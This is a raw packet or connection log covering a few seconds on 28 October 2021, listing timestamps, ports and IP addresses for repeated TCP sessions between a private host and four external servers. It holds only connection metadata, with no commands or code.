Oct 28, 2021 05:00:24.415419102 CEST	50115	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:24.415448904 CEST	50115	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:24.422663927 CEST	50115	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:24.477411985 CEST	6891	50116	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:24.477438927 CEST	6891	50116	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:24.477652073 CEST	50116	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:24.477688074 CEST	50116	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:24.480820894 CEST	50116	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:24.546538115 CEST	50117	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:24.593677998 CEST	50118	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:24.595704079 CEST	808	50115	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:24.648786068 CEST	6891	50116	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:24.650011063 CEST	8116	50118	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:24.650132895 CEST	50118	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:24.651102066 CEST	50118	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:24.705952883 CEST	8116	50118	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:24.706146002 CEST	8116	50118	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:24.706227064 CEST	50118	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:24.706803083 CEST	50118	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:24.711668015 CEST	50118	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:24.711853027 CEST	6891	50117	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:24.711910009 CEST	50118	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:24.711966038 CEST	50117	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:24.712795973 CEST	50117	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:24.767422915 CEST	8116	50118	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:24.767455101 CEST	8116	50118	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:24.767890930 CEST	8116	50118	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:24.878078938 CEST	6891	50117	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:24.878154993 CEST	6891	50117	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:24.878252983 CEST	50117	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:24.878703117 CEST	50117	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:24.885516882 CEST	50117	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:24.885657072 CEST	50117	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:24.951690912 CEST	8116	50118	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:24.951720953 CEST	8116	50118	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:24.951754093 CEST	50118	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:24.951788902 CEST	50118	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:24.955699921 CEST	50118	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:25.011081934 CEST	8116	50118	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:25.051239014 CEST	6891	50117	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:25.051295042 CEST	6891	50117	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:25.076667070 CEST	50119	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:25.076699972 CEST	443	50119	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:25.076765060 CEST	50119	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:25.077275991 CEST	50119	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:25.077287912 CEST	443	50119	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:25.430828094 CEST	6891	50117	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:25.430857897 CEST	6891	50117	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:25.430916071 CEST	50117	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:25.430943966 CEST	50117	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:25.436729908 CEST	50117	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:25.555733919 CEST	50120	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:25.600788116 CEST	443	50119	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:25.601242065 CEST	50119	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:25.601906061 CEST	50119	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:25.601919889 CEST	443	50119	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:25.606777906 CEST	6891	50117	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:25.607462883 CEST	50119	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:25.607476950 CEST	443	50119	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:25.607712030 CEST	50119	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:25.607727051 CEST	443	50119	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:25.616575956 CEST	8116	50120	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:25.616770029 CEST	50120	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:25.617496967 CEST	50120	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:25.677102089 CEST	8116	50120	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:25.677413940 CEST	8116	50120	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:25.677496910 CEST	50120	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:25.678081036 CEST	50120	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:25.681816101 CEST	50120	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:25.681911945 CEST	50120	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:25.742302895 CEST	8116	50120	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:25.912518978 CEST	8116	50120	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:25.912552118 CEST	8116	50120	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:25.912754059 CEST	50120	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:25.912801981 CEST	50120	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:25.920635939 CEST	50120	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:25.980546951 CEST	8116	50120	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:26.051723003 CEST	50121	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:26.051774979 CEST	443	50121	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:26.051932096 CEST	50121	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:26.052937031 CEST	50121	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:26.052959919 CEST	443	50121	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:26.316745996 CEST	443	50119	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:26.316837072 CEST	443	50119	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:26.317003012 CEST	50119	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:26.319960117 CEST	50119	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:26.319989920 CEST	443	50119	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:26.483927011 CEST	50122	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:26.539666891 CEST	443	50121	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:26.539815903 CEST	50121	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:26.540801048 CEST	50121	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:26.540816069 CEST	443	50121	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:26.547058105 CEST	50121	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:26.547101021 CEST	443	50121	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:26.547260046 CEST	50121	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:26.547272921 CEST	443	50121	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:26.648397923 CEST	808	50122	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:26.648680925 CEST	50122	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:26.649766922 CEST	50122	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:26.814660072 CEST	808	50122	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:26.814671993 CEST	808	50122	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:26.814922094 CEST	50122	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:26.815948009 CEST	50122	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:26.822546005 CEST	50122	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:26.822896004 CEST	50122	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:26.980154991 CEST	808	50122	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:26.986706018 CEST	808	50122	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:26.986893892 CEST	808	50122	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:26.987046003 CEST	808	50122	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:27.236210108 CEST	443	50121	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:27.236308098 CEST	443	50121	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:27.236352921 CEST	50121	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:27.236375093 CEST	50121	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:27.244153023 CEST	50121	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:27.244182110 CEST	443	50121	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:27.371483088 CEST	808	50122	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:27.371511936 CEST	808	50122	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:27.371634960 CEST	50122	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:27.374659061 CEST	50122	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:27.425401926 CEST	50123	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:27.484685898 CEST	50124	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:27.538853884 CEST	808	50122	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:27.584686995 CEST	808	50123	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:27.584806919 CEST	50123	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:27.585875034 CEST	50123	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:27.651005983 CEST	6891	50124	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:27.651186943 CEST	50124	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:27.652503014 CEST	50124	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:27.745014906 CEST	808	50123	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:27.745104074 CEST	808	50123	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:27.745172977 CEST	50123	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:27.745876074 CEST	50123	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:27.748794079 CEST	50123	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:27.748965979 CEST	50123	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:27.818919897 CEST	6891	50124	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:27.818995953 CEST	6891	50124	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:27.819042921 CEST	50124	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:27.819825888 CEST	50124	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:27.822487116 CEST	50124	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:27.822578907 CEST	50124	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:27.905004978 CEST	808	50123	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:27.907936096 CEST	808	50123	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:27.908024073 CEST	808	50123	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:27.908036947 CEST	808	50123	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:27.988997936 CEST	6891	50124	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:27.989022970 CEST	6891	50124	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:28.287631989 CEST	808	50123	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:28.287656069 CEST	808	50123	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:28.287739992 CEST	50123	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:28.293371916 CEST	50123	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:28.374783039 CEST	6891	50124	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:28.374819040 CEST	6891	50124	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:28.374929905 CEST	50124	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:28.374950886 CEST	50124	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:28.378221035 CEST	50124	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:28.418067932 CEST	50125	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:28.452614069 CEST	808	50123	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:28.499891043 CEST	50126	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:28.544493914 CEST	6891	50124	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:28.548521996 CEST	8116	50126	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:28.548723936 CEST	50126	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:28.549535036 CEST	50126	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:28.583591938 CEST	6891	50125	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:28.583724976 CEST	50125	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:28.584563017 CEST	50125	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:28.598525047 CEST	8116	50126	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:28.598795891 CEST	8116	50126	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:28.598906994 CEST	50126	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:28.599400043 CEST	50126	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:28.602152109 CEST	50126	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:28.602245092 CEST	50126	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:28.650656939 CEST	8116	50126	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:28.651072979 CEST	8116	50126	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:28.689234972 CEST	8116	50126	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:28.750191927 CEST	6891	50125	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:28.750216007 CEST	6891	50125	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:28.750411034 CEST	50125	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:28.750905037 CEST	50125	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:28.754575968 CEST	50125	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:28.754609108 CEST	50125	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:28.837241888 CEST	8116	50126	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:28.837279081 CEST	8116	50126	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:28.837532997 CEST	50126	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:28.843131065 CEST	50126	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:28.891892910 CEST	8116	50126	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:28.919853926 CEST	6891	50125	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:28.919879913 CEST	6891	50125	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:28.958388090 CEST	6891	50125	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:28.966866016 CEST	50127	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:28.966917992 CEST	443	50127	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:28.967087984 CEST	50127	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:28.967792988 CEST	50127	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:28.967818975 CEST	443	50127	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:29.301492929 CEST	6891	50125	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:29.301532984 CEST	6891	50125	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:29.301784992 CEST	50125	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:29.301851988 CEST	50125	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:29.311014891 CEST	50125	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:29.446191072 CEST	50128	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:29.476281881 CEST	6891	50125	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:29.483691931 CEST	443	50127	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:29.483963013 CEST	50127	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:29.484802961 CEST	50127	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:29.484823942 CEST	443	50127	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:29.490000963 CEST	50127	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:29.490031958 CEST	443	50127	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:29.490119934 CEST	50127	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:29.490133047 CEST	443	50127	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:29.500956059 CEST	8116	50128	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:29.501215935 CEST	50128	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:29.502165079 CEST	50128	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:29.556298018 CEST	8116	50128	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:29.556556940 CEST	8116	50128	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:29.556618929 CEST	50128	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:29.557200909 CEST	50128	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:29.560918093 CEST	50128	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:29.561045885 CEST	50128	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:29.615350008 CEST	8116	50128	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:29.615988016 CEST	8116	50128	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:29.801824093 CEST	8116	50128	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:29.801855087 CEST	8116	50128	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:29.802037954 CEST	50128	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:29.802094936 CEST	50128	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:29.810035944 CEST	50128	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:29.864440918 CEST	8116	50128	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:29.937475920 CEST	50129	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:29.937517881 CEST	443	50129	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:29.937640905 CEST	50129	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:29.938354015 CEST	50129	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:29.938369036 CEST	443	50129	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:30.193432093 CEST	443	50127	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:30.193500042 CEST	443	50127	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:30.193578005 CEST	50127	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:30.193608046 CEST	50127	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:30.196633101 CEST	50127	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:30.196681976 CEST	443	50127	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:30.360532999 CEST	50130	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:30.453042030 CEST	443	50129	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:30.453305960 CEST	50129	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:30.454022884 CEST	50129	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:30.454042912 CEST	443	50129	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:30.464550018 CEST	50129	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:30.464576960 CEST	443	50129	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:30.464677095 CEST	50129	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:30.464692116 CEST	443	50129	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:30.520483971 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:30.520670891 CEST	50130	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:30.521521091 CEST	50130	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:30.681982040 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:30.682033062 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:30.682153940 CEST	50130	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:30.682903051 CEST	50130	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:30.686271906 CEST	50130	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:30.686404943 CEST	50130	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:30.842633963 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:30.845858097 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:30.845964909 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:30.845978022 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:30.846015930 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:30.846060038 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:31.176332951 CEST	443	50129	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:31.176461935 CEST	50129	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:31.176482916 CEST	443	50129	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:31.176651001 CEST	50129	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:31.177190065 CEST	443	50129	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:31.177263975 CEST	50129	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:31.183538914 CEST	50129	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:31.183573008 CEST	443	50129	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:31.225653887 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:31.225686073 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:31.225838900 CEST	50130	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:31.229993105 CEST	50130	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:31.342989922 CEST	50131	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:31.389902115 CEST	808	50130	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:31.473304033 CEST	50132	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:31.511789083 CEST	6891	50131	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:31.511965036 CEST	50131	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:31.512586117 CEST	50131	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:31.631474018 CEST	808	50132	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:31.631608009 CEST	50132	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:31.632299900 CEST	50132	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:31.679347038 CEST	6891	50131	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:31.679372072 CEST	6891	50131	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:31.679476976 CEST	50131	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:31.679918051 CEST	50131	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:31.683170080 CEST	50131	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:31.683283091 CEST	50131	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:31.790220976 CEST	808	50132	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:31.790344000 CEST	808	50132	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:31.790415049 CEST	50132	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:31.791037083 CEST	50132	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:31.795526981 CEST	50132	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:31.795663118 CEST	50132	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:31.849500895 CEST	6891	50131	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:31.849533081 CEST	6891	50131	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:31.849545002 CEST	6891	50131	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:31.948966026 CEST	808	50132	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:31.953514099 CEST	808	50132	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:31.953552008 CEST	808	50132	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:31.953566074 CEST	808	50132	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:32.243664980 CEST	6891	50131	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:32.243697882 CEST	6891	50131	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:32.243860960 CEST	50131	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:32.243902922 CEST	50131	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:32.246913910 CEST	50131	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:32.341624022 CEST	808	50132	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:32.341670036 CEST	808	50132	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:32.341790915 CEST	50132	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:32.348541975 CEST	50132	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:32.358454943 CEST	50133	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:32.412446022 CEST	8116	50133	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:32.412570953 CEST	50133	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:32.413104057 CEST	50133	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:32.413153887 CEST	6891	50131	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:32.466653109 CEST	8116	50133	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:32.466883898 CEST	8116	50133	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:32.467016935 CEST	50133	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:32.467695951 CEST	50133	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:32.472194910 CEST	50133	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:32.472316980 CEST	50133	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:32.473870039 CEST	50134	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:32.506504059 CEST	808	50132	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:32.525947094 CEST	8116	50133	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:32.526344061 CEST	8116	50133	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:32.640407085 CEST	6891	50134	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:32.640600920 CEST	50134	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:32.641279936 CEST	50134	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:32.693629026 CEST	8116	50133	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:32.693646908 CEST	8116	50133	185.56.219.47	192.168.2.6
